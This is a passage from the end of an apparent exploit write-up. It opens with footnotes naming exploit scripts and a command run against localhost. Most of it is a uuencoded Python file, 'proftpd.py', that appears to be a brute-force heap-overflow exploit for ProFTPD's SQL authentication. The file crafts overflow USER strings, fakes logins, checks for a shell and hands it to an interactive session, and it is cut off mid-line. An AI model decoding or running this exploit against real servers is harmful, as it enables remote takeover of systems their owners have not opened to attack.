[7] ga_exp_find.py in the attached code.. my bash history says I used it with python ga_exp_find.py ‑o 32 ‑i 127.0.0.1 ‑U ‑s f .. for what it's worth :p

[8] http://dev.mysql.com/doc/refman/5.0/en/string‑syntax.html

[9] code/final_exploit/exploit.py

[10] code/final_exploit/exploitsc.py

[11] http://felinemenace.org/~andrewg/Timing_attacks_and_heap_exploitation/

begin 644 proftpd.py

M"FEM<&]R="!O<PII;7!O<G0@<WES"FEM<&]R="!R90II;7!O<G0@<VEG;F%L M"FEM<&]R="!S=')U8W0*:6UP;W)T('‑O8VME=`II;7!O<G0@=&EM90IF<F]M M(&]P='!A<G‑E(&EM<&]R="!/<'1I;VY087)S97(L($]P=&EO;D=R;W5P"FEM M<&]R="!H87‑H;&EB"FEM<&]R="!R86YD;VT*:6UP;W)T('1E;&YE=&QI8@II M;7!O<G0@<F4@"@II;7!O<G0@<&EC:VQE"FEM<&]R="!S96QE8W0*"FEM<&]R M="!C;W!Y"@IS<VQ?879A:6QA8FQE(#T@1F%L<V4*"G1R>3H*"6EM<&]R="!S M<VP*"7‑S;%]A=F%I;&%B;&4@/2!4<G5E"F5X8V5P="!);7!O<G1%<G)O<BP@ M93H*"7!A<W,*"@IC;&%S<R!5<V5R4W1R:6YG.@H))R<G"@E5<V5R4W1R:6YG M(&ES(&%N(&%B<W1R86‑T:6]N('5S960@=&\@<F5F;&5C="!T:&4@9V5N97)A M=&5D('‑T<FEN9R!F;W(@=&AE(%5315(*"6‑O;6UA;F0N"@H))R<G"@H)<F5P M971I=&EO;G,@/2`P"0D)"2,@2&]W(&UA;GD@)6TG<S\*"6‑H87)S(#T@,"`) M"0D)(R!(;W<@;6%N>2!!)W,_"@EP97)C96YT7U1S(#T@,`D)"0DC($AO=R!M M86YY("54)W,_"@EP97)C96YT7V9S(#T@,`D)"0DC($AO=R!M86YY("5F)W,_ M"@EP97)C96YT7VQS(#T@,`D)"0DC($AO=R!M86YY("5L)W,_"@EO=F5R9FQO M=U]S:7IE(#T@,`D)"2,@2&]W(&UU8V@@87)E('=E('1R>6EN9R!T;R!O=F5R M9FQO=R!B>3\*"6‑O;'5M;E]L96X@/2`P"0D)"2,@5VAA="!I<R!T:&4@;&5N M9W1H(&]F('1H92!C;VQU;6Y?;F%M93\*"B`@("`@("`@=6YK;F]W;E]T86=? M;&5N9W1H(#T@;&5N*"=[54Y+3D]73B!404=])RD*("`@("`@("!I9&5N=%]T M86=?;&5N9W1H(#T@;&5N*"=53DM.3U=.)RD*"@H)9&5F(%]?:6YI=%]?*'‑E M;&8L(&‑H<F]M;W‑O;64L(&]V97)F;&]W7W‑I>F4L(&‑O;'5M;E]L96XI.@H) M"7‑E;&8N8VAR;VUO<V]M92`](&‑H<F]M;W‑O;64*"@D)<V5L9BYO=F5R9FQO M=U]S:7IE(#T@;W9E<F9L;W=?<VEZ90H)"7‑E;&8N8V]L=6UN7VQE;B`](&‑O M;'5M;E]L96X*"@D)<V5L9BYR97!E=&ET:6]N<R`](&‑H<F]M;W‑O;64N8V]U M;G0H(B5M(BD*"0ES96QF+F‑H87)S(#T@8VAR;VUO<V]M92YC;W5N="@B02(I M"@D)<V5L9BYP97)C96YT7U1S(#T@8VAR;VUO<V]M92YC;W5N="@B)50B*0H) M"7‑E;&8N<&5R8V5N=%]F<R`](&‑H<F]M;W‑O;64N8V]U;G0H(B5F(BD*"0ES M96QF+G!E<F‑E;G1?;',@/2!C:')O;6]S;VUE+F‑O=6YT*"(E;"(I"@D)<V5L M9BYP97)C96YT7UIS(#T@8VAR;VUO<V]M92YC;W5N="@B)5HB*0H*"0ES96QF M+FQE;F=T:"`]('‑E;&8N;&5N*"D*"0ES96QF+F‑H<F]M;W‑O;64N<&]P*"D* M"@ED968@;&5N*'‑E;&8I.@H)"2<G)PH)"6QE;B@I(&‑A;&‑U;&%T97,@:&]W M(&UU8V@@<W!A8V4@=&AE(&=I=F5N('‑T<FEN9R!W:6QL(&5X<&%N9"!T;R!D M=64@=&\@=&%G('!A<W‑I;F<N"@D))R<G"@H)"2‑A<W‑E<G0H<V5L9BYC;VQU M;6Y?;&5N("$](#`I"@H)"6QI;F5?;&5N9W1H(#T@;&5N*"(B+FIO:6XH<V5L M9BYC:')O;6]S;VUE*2D*"0D*"0DC("@@*R!C;VQU;6Y?;&5N("L@/2<*"0ER M970@/2`Q("L@<V5L9BYC;VQU;6Y?;&5N("L@,@H)"7)E="`K/2`H<V5L9BYR M97!E=&ET:6]N<R`J(&QI;F5?;&5N9W1H*0H)"7)E="`K/2!S96QF+F‑H87)S M"@D)<F5T("L]('‑E;&8N;W9E<F9L;W=?<VEZ90H)"7)E="`K/2`H<V5L9BYU M;FMN;W=N7W1A9U]L96YG=&@@*B!S96QF+G!E<F‑E;G1?6G,I"2,@>U5.2TY/ M5TX@5$%'?0H)"7)E="`K/2!S96QF+G!E<F‑E;G1?9G,)"0D)"2,@+0H)"7)E M="`K/2`H<V5L9BYP97)C96YT7U1S("H@,RD)"0D)(R`P+C`*"0ER970@*ST@ M*'‑E;&8N:61E;G1?=&%G7VQE;F=T:"`J('‑E;&8N<&5R8V5N=%]L<RD)"2,@ M54Y+3D]73@H)"7)E="`K/2`R("`C("<I(`H)"@D)<F5T=7)N(')E=`H*"61E M9B!?7W‑T<E]?*'‑E;&8I.@H)"7)E='5R;B`B(BYJ;VEN*'‑E;&8N8VAR;VUO M<V]M92D*"F‑L87‑S(%‑I;&QY4W1R=6‑T.@H)<&%R86US(#T@6UT*"@ED968@ M7U]I;FET7U\H<V5L9BP@*F%R9W,I.@H)"6%S<V5R="AL96XH<V5L9BYP87)A M;7,I("$](#`I"@H)"6EF*&QE;BAA<F=S*2DZ"@D)"6%S<V5R="AL96XH87)G M<RD@/3T@;&5N*'‑E;&8N<&%R86US*2D*"@D)"7!A<F%M<R`](&‑O<'DN8V]P M>2AS96QF+G!A<F%M<RD*"@D)"69O<B!A<F<@:6X@87)G<SH*"0D)"7‑E=&%T M='(H<V5L9BP@<&%R86US+G!O<"@P*2P@87)G*0H*"61E9B!?7W‑T<E]?*'‑E M;&8I.@H)"7)E="`](%M="@H)"2,@8V%N('!R;V)A8FQY("),(B`J(&%M="P@ M*G‑E;&8N<&%R86US(&ET+@H*"0EF;W(@<&%R86T@:6X@<V5L9BYP87)A;7,Z M"@D)"2‑P<FEN="!P87)A;0H)"0DC<')I;G0@9V5T871T<BAS96QF+"!P87)A M;2D*"0D)<F5T+F%P<&5N9"AS=')U8W0N<&%C:R@B/$PB+"!G971A='1R*'‑E M;&8L('!A<F%M*2DI"@H)"7)E='5R;B`B(BYJ;VEN*')E="D*"@ED968@7U]L M96Y?7RAS96QF*3H*"0ER971U<FX@;&5N*'‑E;&8N<&%R86US*2`J(#0*"F‑L M87‑S(%!O;VQ";&]K*%‑I;&QY4W1R=6‑T*3H*"2,@("`O*B!!8W1U86P@:&5A M9&5R("HO"@DC("!S=')U8W0@>PH)(R`@("!C:&%R("IE;F1P.PH)(R`@("!U M;FEO;B!B;&]C:U]H9'(@*FYE>'0["@DC("`@(&‑H87(@*F9I<G‑T7V%V86EL M.PH)(R`@?2!H.PH)(R`K('!A9&1I;F<@8W)A<"`Z?`H)(R!T;W1A;"!O9B`R M‑"!B>71E<RX*"@EE;F1P(`D)/2`P>#0Q‑#$T,30Q"@EN97AT(`D)/2`P>#0R M‑#(T,C0R"@EF:7)S=%]A=F%I;`D](#!X‑#,T,S0S‑#,*"7!A9%\Q"0D](#!X M‑#`T,#0P‑#`*"@EP87)A;7,@/2!;(")E;F1P(BP@(FYE>'0B+"`B9FER<W1? M879A:6PB+"`B<&%D7S$B(%T*"F‑L87‑S(%!O;VQ(96%D97(H4VEL;'E3=')U M8W0I.@H)(R!S=')U8W0@<&]O;"!["@DC("!U;FEO;B!B;&]C:U]H9'(@*F9I M<G‑T.PH)(R`@=6YI;VX@8FQO8VM?:&1R("IL87‑T.PH)(R`@<W1R=6‑T(&‑L M96%N=7`@*F‑L96%N=7!S.PH)(R`@<W1R=6‑T('!O;VP@*G‑U8E]P;V]L<SL* M"2,@('‑T<G5C="!P;V]L("IS=6)?;F5X=#L*"2,@('‑T<G5C="!P;V]L("IS M=6)?<')E=CL*"2,@('‑T<G5C="!P;V]L("IP87)E;G0["@DC("!C:&%R("IF M<F5E7V9I<G‑T7V%V86EL.PH)(R`@8V]N<W0@8VAA<B`J=&%G.PH)(R!].PH* M"69I<G‑T(`D)"3T@,'@S,#,P,S`S,`H);&%S="`)"0D](#!X,S$S,3,Q,S$* M"6‑L96%N=7!S(`D)/2`P>#,R,S(S,C,R"@ES=6)?<&]O;',)(`D](#!X,S,S M,S,S,S,*"7‑U8E]N97AT(`D)/2`P>#,T,S0S‑#,T"@ES=6)?<')E=@D)/2`P M>#,U,S4S‑3,U"@EP87)E;G0)"0D](#!X,S8S‑C,V,S8*"69R965?9FER<W1? M879A:6P)/2`P>#,W,S<S‑S,W"@ET86<)"0D](#!X,S@S.#,X,S@*"@DC("<I M7'@P,"!F;W(@=&%G(`H)<&%R86US(#T@6R`B9FER<W0B+"`B;&%S="(L(")C M;&5A;G5P<R(L(")S=6)?<&]O;',B+"`B<W5B7VYE>'0B+"`B<W5B7W!R978B M+"`B<&%R96YT(BP@(F9R965?9FER<W1?879A:6PB("!="@IC;&%S<R!0;V]L M0VQE86YU<"A3:6QL>5‑T<G5C="DZ"@DC='EP961E9B!S=')U8W0@8VQE86YU M<"!["@DC("!V;VED("ID871A.PH)(R`@=F]I9"`H*G!L86EN7V‑L96%N=7!? M8V(I*'9O:60@*BD["@DC("!V;VED("@J8VAI;&1?8VQE86YU<%]C8BDH=F]I M9"`J*3L*"2,@('‑T<G5C="!C;&5A;G5P("IN97AT.PH)(WT@8VQE86YU<%]T M.PH*"61A=&$@/2`P>#4Q‑3$U,34Q"@EP;&%I;E]C;&5A;G5P7V‑B(#T@,'@U M,C4R‑3(U,@H)8VAI;&1?8VQE86YU<%]C8B`](#!X‑3,U,S4S‑3,)"@EN97AT M(#T@,'@U‑#4T‑30U‑`H*"7!A<F%M<R`](%L@(F1A=&$B+"`B<&QA:6Y?8VQE M86YU<%]C8B(L(")C:&EL9%]C;&5A;G5P7V‑B(BP@(FYE>'0B(%T*"@IC;&%S M<R!0<F]&5%!$7T)A<VEC<SH*"2<G)R`*"4)A<V4@8VQA<W,@9F]R(&]F9G‑E M="!E>'!L;VET871I;VXL(&%N9"!B<G5T969O<F‑E(&5X<&QO:71A=&EO;BX* M"2<G)PH*"75S97)?8V]L=6UN7VQE;F=T:"`](#`*"@DC(%‑E;&8M9&]C=6UE M;G1I;F<@8V]D92`Z*0H)=7‑E<E]C;VQU;6Y?;&5N9W1H<R`](%L@;&5N*")U M<V5R:60B*2P@;&5N*")U<V5R;F%M92(I(%T@"@H);7‑F7W!A='1E<FX@/2`H M"@D))T%A,$%A,4%A,D%A,T%A‑$%A‑4%A‑D%A‑T%A.$%A.4%B,$%B,4%B,D%B M,T%B‑$%B‑2<*"0DG06(V06(W06(X06(Y06,P06,Q06,R06,S06,T06,U06,V M06,W06,X06,Y060P060Q)PH)"2=!9#)!9#‑!9#1!9#5!9#9!9#=!9#A!9#E! M93!!93%!93)!93‑!931!935!939!93<G"@D))T%E.$%E.4%F,$%F,4%F,D%F M,T%F‑$%F‑4%F‑D%F‑T%F.$%F.4%G,$%G,4%G,D%G,R<*"0DG06<T06<U06<V M06<W06<X06<Y06@P06@Q06@R06@S06@T06@U06@V06@W06@X06@Y)PH)"2=! M:3!!:3%!:3)!:3‑!:31!)PH)*0H*"6)A9&‑H87)S(#T@<V5T*")<>#`P7'@P M85QX,&1<>#%A7'@R,EQX,C5<>#(W7'@U8UQX‑69<>&9F(BD*"7‑K="`]($YO M;F4*"@EC86‑H92`]($YO;F4*"@ED968@7U]I;FET7U\H<V5L9BP@:&]S="P@ M;W!T:6]N<RDZ"@D)<V5L9BYH;W‑T(#T@:&]S=`H)"7‑E;&8N;W!T:6]N<R`] M(&]P=&EO;G,*"@D)(W!R:6YT(&]P=&EO;G,*"@D):68H;W!T:6]N<RYU<V5R M7V‑O;'5M;E]L96YG=&@I.@H)"0ES96QF+G5S97)?8V]L=6UN7VQE;F=T:',@ M/2!;(&]P=&EO;G,N=7‑E<E]C;VQU;6Y?;&5N9W1H(%T*"0D*"@ED968@<V5T M7W5S97)?8V]L=6UN*'‑E;&8L(&YA;64I.@H)"7‑E;&8N=7‑E<E]C;VQU;6Y? M;&5N9W1H(#T@;&5N*&YA;64I"@H)9&5F(&UA:V5?=7‑E<E]S=')I;F<H<V5L M9BP@;W9E<F9L;W=?86UO=6YT+"!C;VQU;6Y?;&5N9W1H+"!P861D:6YG/3`I M.@H)"2<G)PH)"6UA:V4@<F5T=7)N<R!A(%5S97)3=')I;F<@8VQA<W,@:6YI M=&EA;&EZ960@=VET:"!P87)A;65T97)S(&%B;W9E+@H)"0H)"6]V97)F;&]W M7V%M;W5N="!I;F1I8V%T97,@:&]W(&UU8V@L(&EF(&%N>2P@=&AE('1A<F=E M="!B=69F97(@<VAO=6QD(&)E"@D);W9E<G=R:71T96X@8GDN($EF(&ET(&ES M(#`L(&ET('=I;&P@<F5T=7)N(&$@<W1R:6YG('1H870@=7‑E<PH)"6)E='=E M96X@,3`R‑"!A;F0@‑#`X,"!B>71E<RX*"0DG)R<*"@H)"71A9W,@/2!;("(E M;2(L("(E;"(L("(E9B(L("(E6B(L("(E5"(L(")!(B!="@D)=&%G7VQE;B`] M(&QE;BAT86=S*0D)"@H)"69O=6YD(#T@1F%L<V4*"0EA='1E;7!T<R`](#`@ M"@H)"7=H:6QE(&YO="!F;W5N9#H*"0D)871T96UP=',@*ST@,0H)"0EC:')O M;6]S;VUE(#T@6UT*"0D)"@D)"6ET96US(#T@<F%N9&]M+G)A;F1I;G0H,"P@ M,3`P*0H)"0EW:&EL92!I=&5M<SH*"0D)"6‑H<F]M;W‑O;64N87!P96YD*'1A M9W‑;<F%N9&]M+G)A;F1I;G0H,"P@=&%G7VQE;BTQ*5TI"@D)"0EI=&5M<R`M M/2`Q"B`*"0D)(R!0<F]B86)L>2!U;BUN965D960L(&%S(#$P,"`J(#(@/"`R M‑38N($)U="!)(&UI9VAT(&1E8VED92!T;R!C:&%N9V4*"0D)(R!S;VUE=&AI M;F<@;&%T97(@;VXL(&%N9"!T:&ES('=O=6QD('‑E<G9E(&%S(&$@<W5I=&%B M;&4@<F5M:6YD960*"0D)87‑S97)T*&QE;B@B(BYJ;VEN*&‑H<F]M;W‑O;64I M*2`\(#(U‑BD*"@D)"6EF*&]V97)F;&]W7V%M;W5N="`]/2`P*3H*"0D)"6‑H M<F]M;W‑O;64N87!P96YD*'‑E;&8N;7‑F7W!A='1E<FY;.G!A9&1I;F==*0H* M"0D)"75S(#T@57‑E<E‑T<FEN9RAC:')O;6]S;VUE+"!O=F5R9FQO=U]A;6]U M;G0L(&‑O;'5M;E]L96YG=&@I"@D)"0EI9BAU<RYL96YG=&@@/CT@,C`T."!A M;F0@=7,N;&5N9W1H(#P](#0P.#`I.@H)"0D)"69O=6YD(#T@5')U90H)"0D* M"0D)96QS93H*"0D)"6‑H<F]M;W‑O;64N87!P96YD*'‑E;&8N;7‑F7W!A='1E M<FY;.F]V97)F;&]W7V%M;W5N=%TI"@D)"0D*"0D)"75S(#T@57‑E<E‑T<FEN M9RAC:')O;6]S;VUE+"!O=F5R9FQO=U]A;6]U;G0L(&‑O;'5M;E]L96YG=&@I M"@D)"0EI9BAU<RYL96YG=&@@/3T@‑#`Y‑B`K(&]V97)F;&]W7V%M;W5N="`K M(#(I.@H)"0D)"69O=6YD(#T@5')U90H*"0DC<')I;G0@(D9O=6YD(&EN("5D M(&%T=&5M<'1S(B`E(&%T=&5M<'1S"@D)(W!R:6YT('5S+F‑H<F]M;W‑O;64* M"@D)<F5T=7)N('5S"@H)9&5F(&‑O;FYE8W0H<V5L9BDZ"@D))R<G"@D)8V]N M;F5C="!T;R!T:&4@<F5M;W1E(&AO<W0L(&%N9"!H86YD;&4@4U‑,('‑U<'!O M<G0@:68@<F5Q=65S=&5D+@H)"2<G)PH*"0EI9BAS96QF+G‑K="DZ"@D)"71R M>3H*"0D)"7‑E;&8N<VMT+G‑E;F0H(E%5251<<EQN(BD*"0D)97AC97!T.@H) M"0D)<&%S<PH*"0D)<V5L9BYS:W0N8VQO<V4H*0H*"0ES:W0@/2!S;V‑K970N M<V]C:V5T*"D*"0ET<GDZ"@D)"7‑K="YC;VYN96‑T*"AS96QF+FAO<W0L('‑E M;&8N;W!T:6]N<RYP;W)T*2D*"0EE>&‑E<'0@<V]C:V5T+F5R<F]R+"!E.@H) M"0EP<FEN="`B56YA8FQE('1O(&‑O;FYE8W0@=&\@<F5M;W1E(&AO<W0@*"5S M*2(@)2!E+FUE<W‑A9V4*"0D)<WES+F5X:70H,2D*"@D)8F%N;F5R(#T@<VMT M+G)E8W8H,3`P*2YS=')I<"@I"@H)"6EF*&YO="!B86YN97(I.@H)"0ES:W0N M8VQO<V4H*0H)"0ER971U<FX@1F%L<V4*"@D)<')I;G0@(ELK72!#;VYN96‑T M960L(')E8VEE=F5D(%LE<UT@87,@=&AE(&)A;FYE<B(@)2!B86YN97(*"@D) M:68H;F]T('‑E;&8N;W!T:6]N<RYS<VPI.@H)"0ES96QF+G‑K="`]('‑K=`H) M"0ER971U<FX@5')U90H*"0DC(%=R87`@<V]C:V5T"@H)"7‑K="YS96YD*")! M551((%1,4UQR7&XB*0H)"7)E<W`@/2!S:W0N<F5C=B@U,#`I+G‑T<FEP*"D* M"0EI9BAR97‑P6SHS72`A/2`B,C,T(BDZ"@D)"7!R:6YT(")$:60@;F]T(&=E M="!/2R!S=&%T=7,@9F]R($%55$@@5$Q3(@H)"0EP<FEN="`B1V]T(%LE<UT@ M:6YS=&5A9"(@)2!R97‑P"@D)"7‑K="YC;&]S92@I"@D)"7)E='5R;B!&86QS M90H)"0H)"7‑E;&8N<VMT(#T@<W‑L+G=R87!?<V]C:V5T*'‑K="D*"0ES96QF M+G‑K="YD;U]H86YD<VAA:V4H*0H)"0H)"7)E='5R;B!4<G5E"@H)9&5F(&1O M7V9A:V5?875T:"AS96QF+"!F86ME875T:'‑T<BDZ"@D)<V5L9BYS:W0N<V5T M=&EM96]U="@Q,"XP*0H*"0EP<FEN="`B6RM=(%‑E;F1I;F<@=7‑E<B`N+B(L M"@D)<V5L9BYS:W0N<V5N9"@B55‑%4B`E<UQR7&XB("4@9F%K96%U=&AS='(I M"@D)=')Y.@H)"0ER97‑P(#T@<V5L9BYS:W0N<F5C=B@T,#`I+G‑T<FEP*"D* M"0D):68H;F]T(')E<W`I.@H)"0D)<F5T=7)N($9A;'‑E"@D)97AC97!T($5X M8V5P=&EO;BP@93H*"0D)<')I;G0@(G1O;VL@=&]O(&QO;F<L(')E='5R;FEN M9R`H)7,I(B`E("AE+FUE<W‑A9V4I"@D)"7!R:6YT('1Y<&4H92D*"0D)<')I M;G0@9&ER*&4I"@D)"7)E='5R;B!&86QS90H*"0EP<FEN="`B<F5S<&]N<V4@ M=V%S(%LE<UTB("4@<F4N<W5B*");7F$M>D$M6C`M.2`E+UTB+"`B+B(L(')E M<W`N<W1R:7`H*2D*"@D)<')I;G0@(ELK72!396YD:6YG('!A<W,@+BXB+`H) M"0H)"71R>3H*"0D)<V5L9BYS:W0N<V5N9"@B4$%34R!I;G9A;&ED7')<;B(I M"@D)"7)E<W`@/2!S96QF+G‑K="YR96‑V*#$P,"DN<W1R:7`H*0H)"0EI9BAN M;W0@<F5S<"DZ"@D)"0ER971U<FX@1F%L<V4*"0EE>&‑E<'0@17AC97!T:6]N M+"!E.@H)"0EP<FEN="`B=&]O:R!T;V\@;&]N9RP@<F5T=7)N:6YG("@E<RDB M("4@*&4N;65S<V%G92D*"0D)<')I;G0@='EP92AE*0H)"0EP<FEN="!D:7(H M92D*"0D)<F5T=7)N($9A;'‑E"@H)"7!R:6YT(")R97‑P;VYS92!W87,@6R5S M72(@)2!R97‑P"@D)<V5L9BYS:W0N<V5T=&EM96]U="@P*0H)"7)E='5R;B!4 M<G5E"@H)9&5F(&‑H96‑K7V9O<E]B861?8VAA<G,H<V5L9BP@<W1R:6YG*3H* M"0DC(#PS('‑E="!O<&5R871I;VYS"@D)<F5T=7)N('‑E="@I(#T]("AS970H M<W1R:6YG*2`F('‑E;&8N8F%D8VAA<G,I"@H)9&5F('‑H96QL7VAA;F1L97(H M<V5L9BDZ"@D))R<G"@D)<VAE;&Q?:&%N9&QE<B!C:&5C:W,@=&\@<V5E(&EF M('=E(&AA=F4@82!R96UO=&4@<VAE;&P@;VX@<V]C:V5T+"!A;F0@:68@<V\L M(`H)"6%L;&]W<R!T:&4@=7‑E<B!T;R!I;G1E<F9A8V4@=VET:"!I="X*"0DG M)R<*"@D)(R!7;W)K(&]U="!W:&%T('‑K="!W92!S:&]U;&0@8F4@=7‑I;F<* M"0EI9BAS96QF+F]P=&EO;G,N<W‑L*3H*"0D)<VMT(#T@<V5L9BYS:W0N7W‑O M8VL*"0D)<VMT+G‑E=&)L;V‑K:6YG*#$I"@D)96QS93H*"0D)<VMT(#T@<V5L M9BYS:W0*"@D)<FQI<W0L('=L:7‑T+"!X;&ES="`]('‑E;&5C="YS96QE8W0H M6W‑K=%TL(%M=+"!;<VMT72P@,BXP*0H)"6EF*'‑K="!I;B!R;&ES="!O<B!S M:W0@:6X@>&QI<W0I.@H)"0DC(%‑O8VME="!I<R!P<F]B86)L>2!C;&]S960N M"@D)"7)E<W`@/2!S:W0N<F5C=B@U,#`I"@D)"6EF*&YO="!R97‑P*3H*"0D) M"7)E='5R;B!&86QS90H)"0D*"0D):68H*')E<W!;,%T@/3T@(EQX,3<B(&%N M9"!S96QF+F]P=&EO;G,N<W‑L*2!O<B!R97‑P6S!=(#T]("(S(BDZ"@D)"0DC M(%1H:7,@:7,@:6YT97)E<W1I;F<N($DG=F4@;F]T:6‑E9"!T:&%T(&EF('=E M(&=E="!A(')E<W!O;G‑E+"!W92=V92!C;W)R=7!T960@=&AE(`H)"0D)(R!H M96%P(&5N;W5G:"!T:&%T(&]N92!M;W)E(&‑O;6UA;F0@<VAO=6QD(&1O('1H M92!T<FEC:R`[*0H*"0D)"7!R:6YT(");*UT@0VQO<V4N(%1R>6EN9R!T;R!T M<FEG9V5R('9I82!005‑3(&EN=F%L:60B"@D)"0ES96QF+G‑K="YS96YD*")0 M05‑3(&EN=F%L:61<<EQN(BD*"0D)"71I;64N<VQE97`H,"XU*0H)"0EE;'‑E M.B`*"0D)"7!R:6YT(");*UT@2&TN($=O="!;)7,N+ETL('5N97AP96‑T961L M>2XN('1H:7,@=7‑U86QL>2!M96%N<R!W92=R92!C;&]S92!T;R!G971T:6YG M(&$@<VAE;&P@.RDB("4@<F5S<"YE;F‑O9&4H)VAE>"<I6SHQ,ET*"@D)"@H) M"7!R:6YT("=;*UT@0VAE8VMI;F<@9F]R('‑H96QL+BXN)RP*"@D)=')Y.@H) M"0ES:W0N<V5N9"@B7&Y<;F5C:&\@1$].15QN(BD*"0D)<F5S<"`]('‑K="YR M96‑V*#(P*0H*"0D):68H<F5S<"YF:6YD*")$3TY%(BD@/3T@+3$I.@H)"0D) M<')I;G0@(FYO="!F;W5N9"P@9V]T(%LE<UT@:6YS=&5A9"(@)2`H<F5S<"YS M=')I<"@I+F5N8V]D92@G:&5X)RDI"@D)"0ER971U<FX@1F%L<V4*"0D)96QS M93H*"0D)"7!R:6YT("(@87!P96%R<R!W92!H879E(&=O="!A('‑H96QL(@H* M"0EE>&‑E<'0@<V]C:V5T+F5R<F]R+"!E.@H)"0EP<FEN="`G0V]N;F5C=&EO M;B!I;G1E<G)U<'1E9"`H)7(I)R`E(&4*"0D)<F5T=7)N"@H)"0H*"0ES:W0N M<V5N9"@B=6YS970@2$E35$9)3$5<;B(I"@D)(R!0<F]&5%!$('5S97,@<VEG M86QR;2!F;W(@<V‑H961U;&EN9R!T:&EN9W,*"0ES:W0N<V5N9"@B=')A<"`G M)R!324=!3%)‑7&XB*0H)"2,@4F5D:7)E8W0@<W1D:6X@=&\@<W1D;W5T('‑O M('=E(&‑A;B!S964@=VAE;B!W92!M86ME(&‑L:2!E<G)O<G,*"0ES:W0N<V5N M9"@B97AE8R`R/B8Q7&XB*0H*"0DC($‑L96%N('5P('‑O;64@9FEL92!D97‑C M<FEP=&]R<PH)"69O<B!I(&EN(')A;F=E*#,L(#$P*3H*"0D)<VMT+G‑E;F0H M(F5X96,@)60^)BU<;B(@)2!I*0H*"0EP<FEN="`B6RM=(%‑T87)T:6YG('‑H M96QL+B!S:&]U;&0@8F4@86‑T:79E(&%N9"!C;&5A;F5D('5P(@H*"0ET(#T@ M=&5L;F5T;&EB+E1E;&YE="@I"@D)="YS;V‑K(#T@<VMT"@D)="YI;G1E<F%C M="@I"@D)"@D)<F5T=7)N(%1R=64*"@ED968@;&]A9%]C86‑H92AS96QF+"!T M87)G970I.@H)"6EF*'‑E;&8N;W!T:6]N<RYI9VYO<F5?8V%C:&4I.@H)"0ER M971U<FX*"@D)=')Y.@H)"0ED871A(#T@;W!E;B@G)7,N8V%C:&4G("4@=&%R M9V5T6R=T>7!E)UTI+G)E860H*0H)"65X8V5P="!%>&‑E<'1I;VXL(&4Z"@D) M"7!R:6YT("(E<B(@)2!E"@D)"7)E='5R;B!&86QS90H*"0ES96QF+F‑A8VAE M(#T@<&EC:VQE+FQO861S*&1A=&$I"@H)9&5F('‑A=F5?8V%C:&4H<V5L9BP@ M=&%R9V5T+"!F86ME+"!T<FEG9V5R*3H*"0EI9BAS96QF+F]P=&EO;G,N:6=N M;W)E7V‑A8VAE*3H*"0D)<F5T=7)N"@H)"6EF*&YO="!S96QF+F‑A8VAE*3H* M"0D)<V5L9BYC86‑H92`]('M]"@D)"@D):68H;F]T('‑E;&8N8V%C:&4N:&%S M7VME>2AT87)G971;)VYA;64G72DI.@H)"0ES96QF+F‑A8VAE6W1A<F=E=%LG M;F%M92==72`](%M="@H)"7‑E;&8N8V%C:&5;=&%R9V5T6R=N86UE)UU=+F%P M<&5N9"@H9F%K92P@=')I9V=E<BDI"@H)"61A=&$@/2!P:6‑K;&4N9'5M<',H M<V5L9BYC86‑H92D*"@D)(W1R>3H*"0EF<"`](&]P96XH)R5S+F‑A8VAE)R`E M('1A<F=E=%LG='EP92==+"`G=RLG*0H)"69P+G=R:71E*&1A=&$I"@D)9G`N M8VQO<V4H*0H)"2‑E>&‑E<'0@17AC97!T:6]N+"!E.@H)"2,)<F%I<V4*"@IC M;&%S<R!0<F]&5%!$7T]F9G‑E=',H4')O1E101%]"87‑I8W,I.@H)9&5F('1E M<W1?8V%C:&4H<V5L9BP@=&%R9V5T*3H*"0ES96QF+FQO861?8V%C:&4H=&%R M9V5T*0H*"0EI9BAS96QF+F‑A8VAE(&%N9"!S96QF+F‑A8VAE+FAA<U]K97DH M=&%R9V5T6R=N86UE)UTI*3H*"0D)<')I;G0@(ELK72!4<GEI;F<@)60@8V%C M:&5D('1R:6=G97(@:6YF;W)M871I;VX@9F]R("5S(B`E("AL96XH<V5L9BYC M86‑H95MT87)G971;)VYA;64G75TI+"!T87)G971;)VYA;64G72D*"@D)"69O M<B!F86ME+"!T<FEG9V5R(&EN('‑E;&8N8V%C:&5;=&%R9V5T6R=N86UE)UU= M.@H)"0D)<V5L9BYC;VYN96‑T*"D*"0D)"6EF*&YO="!S96QF+F1O7V9A:V5? M875T:"AF86ME*2DZ"@D)"0D)<')I;G0@(ELK72!3;&5E<&EN9R!D=64@=&\@ M<VAU=&1O=VXB"@D)"0D)=&EM92YS;&5E<"@Q,"D*"0D)"0EC;VYT:6YU90H* M"0D)"7‑E;&8N<VMT+G‑E;F0H(E5315(@)7‑<<EQN(B`E('1R:6=G97(I"0D) M"0H)"0D)<W5C8V5S<R`]('‑E;&8N<VAE;&Q?:&%N9&QE<B@I"@D)"0EI9BAS M=6‑C97‑S*3H*"0D)"0EP<FEN="`B6RM=($‑A8VAE9"!I;F9O<FUA=&EO;B!& M5%<B"@D)"0D)<F5T=7)N"@H)"0D)<')I;G0@(B()"0D)"@H)9&5F(')U;BAS M96QF+"!T87)G970I.@H)"7‑E;&8N=&5S=%]C86‑H92@I"@H)"7!R:6YT("); M*UT@0G)U=&5F;W)C:6YG(&UE;6]R>2!A;&QO8V%T:6]N<R!F;W(@)7,B("4@ M=&%R9V5T6R=N86UE)UT*"@D)97AP;&]I=&5D(#T@1F%L<V4*"0EA='1E;7!T M<R`](#4W"@D)=VAI;&4H871T96UP=',I.@H)"0DC(%!I8VL@;VYE(&]F('1H M92!A=F%I;&%B;&4@;&5N9W1H<RX@5V4@9&]N)W0@;F5C97‑S87)I;'D@:VYO M=R!H;W<@=&AE(')E;6]T90H)"0DC(&UA8VAI;F4@:7,@8V]N9FEG=7)E9"XN M(&QU8VMI;'D@=&AE<F4G<R!O;FQY('1W;R!C;VUM;VX@;VYE<R!))W9E('‑E M96X*"0D)(R!U<V5R:60L(&%N9"!U<V5R;F%M92X@=7‑E<FED(&ES('!R;V)A M8FQY('‑L:6=H=&QY(&UO<F4@;&EK96QY('1H86X*"0D)(R!U<V5R;F%M92X* M"@D)"6‑O;'5M;E]L96YG=&@@/2!R86YD;VTN8VAO:6‑E*'‑E;&8N=7‑E<E]C M;VQU;6Y?;&5N9W1H<RD*"@D)"6EF*"AA='1E;7!T<R`E(#,I(#T](#`I.@H) M"0D)<')I;G0@(ELK72!'96YE<F%T:6YG('1R:6=G97(@875T:"(*"0D)"71R M:6=G97)A=71H(#T@<V5L9BYM86ME7W5S97)?<W1R:6YG*#0X+"!C;VQU;6Y? 